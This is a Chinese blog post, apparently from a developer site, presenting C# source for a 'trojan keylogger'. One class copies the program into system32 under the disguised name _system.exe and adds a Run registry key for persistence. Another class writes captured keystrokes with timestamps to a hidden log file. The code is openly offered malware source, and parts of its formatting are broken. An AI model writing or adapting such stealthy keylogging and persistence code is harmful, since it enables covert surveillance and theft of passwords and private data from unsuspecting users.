C#实现木马-键盘记录器

RegistryReport和 Report类

这是RegistryReport 类的实现
public void  MoveFile() 

     
//判断该位置是否存在_system.exe,如果不是,就把程序移动到该位置,否则返回 

     if(!File.Exists("c://windows//system32//_system.exe")) 
     

              File.Move(Application.ExecutablePath,
"c://windows//system32//_system.exe"
); 
     }
 
     
else
 
          
return

}
 

//在注册表里写如启动信息 




public void  registryRun() 
{    
     RegistryKey key1
=Registry.CurrentUser.CreateSubKey("Software//Microsoft//Windows//CurrentVersion//run"
); 
     key1.SetValue(
"","c://windows//system32//_system.exe"
); 
     key1.Close(); 
}
 


这是Report类的实现:
public void  FirstWrite() 
         

              StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true
); 
              sw.WriteLine(
"************* LittleStudio Studio ************* "
); 
              sw.WriteLine(
"******** " + DateTime.Today.Year.ToString() + "."
 
                   
+ DateTime.Today.Month.ToString() + "."
 
                   
+ DateTime.Today.Day.ToString() + "     "
 
                   
+ DateTime.Now.Hour.ToString() + ":"
 
                   
+ DateTime.Now.Minute.ToString() + ":"
 
                   
+ DateTime.Now.Second.ToString() + " ********"
); 
              sw.Close(); 
         }
 

         
public void WriteDate(string keyEvents,string
 keyDate) 
         

              
try
 
              

                     StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true
); 
                     sw.WriteLine(keyDate 
+ "键 " + keyEvents + "   "
 
                       
+ DateTime.Now.Hour.ToString() + ":"
 
                       
+ DateTime.Now.Minute.ToString() + ":"
 
                       
+
 DateTime.Now.Second.ToString()); 
                   sw.Close(); 
              }
 
              
catch{}
 
              
return

         }
 
 
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值